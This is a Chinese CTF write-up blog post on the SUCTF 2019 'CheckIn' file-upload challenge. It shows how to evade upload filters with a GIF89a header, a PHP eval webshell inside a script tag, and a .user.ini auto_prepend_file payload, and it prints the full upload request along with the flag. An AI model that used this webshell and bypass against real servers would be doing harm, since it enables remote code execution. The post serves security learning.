[SUCTF 2019]CheckIn 1

[SUCTF 2019]CheckIn 1

打开实例,发现文件上传页面

image-20241112225509181

根据题目提示,查看网页源码

image-20241112225536481

这边提示系统会创建一个访问者的 IP 地址的 MD5 哈希值作为目录,并在其后拼接index.php

POST上传的upload参数,文件名不能为空,不能过大,不能包含phhtacess,不能有<?,并且限制上传类型为image,如果满足以上条件,则输出文件位置和目录位置。

分析:

根据信息,已经能确定上传php类型不可行,包括php3、phtml等文件混淆,且包含文件类型限制,并且内容过滤了<?,所以决定采用图片马+javascript+幻术头GIF89a的形式上传图片马

payload:

------WebKitFormBoundaryi81FjE7IXd1HzMLZ
Content-Disposition: form-data; name="fileUpload"; filename="abc.jpg"
Content-Type: image/png

GIF89a
<script language='php'>eval($_POST['cmd']);</script>
------WebKitFormBoundaryi81FjE7IXd1HzMLZ
Content-Disposition: form-data; name="upload"

提交
------WebKitFormBoundaryi81FjE7IXd1HzMLZ--

image-20241112233112695

上传成功,并给出了文件回显,(这个abc是做测试的时候传的)

Your dir uploads/ec53bc853c0c94f2bf546edd1a265425 <br>Your files : <br>array(5) {
  [0]=>
  string(1) "."
  [1]=>
  string(2) ".."
  [2]=>
  string(7) "aaa.jpg"
  [3]=>
  string(7) "abc.jpg"
  [4]=>
  string(9) "index.php"
}

所以根据代码提示,图片马地址为

uploads/ec53bc853c0c94f2bf546edd1a265425/index.php

访问not found,存在解析问题

图片马成功了,接下来就是解析问题,根据提示.htaccess被禁用,所以根据源码提示决定采用.user.ini配置进行解析,这边一样得加上幻术头

payload

GIF89a
auto_prepend_file=aaa.jpg

image-20241112231822226

上传成功,访问uploads/ec53bc853c0c94f2bf546edd1a265425/index.php,解析成功

image-20241112233312009

Hacker barPOST传递参数,参数为cmd,也就是一句话木马的密码

image-20241112233645827

找到flag

flag{2fd51ec6-e0e4-432c-8569-cc524f4b0271} 
posted @ 2024-11-12 23:38  TazmiDev  阅读(345)  评论(0)    收藏  举报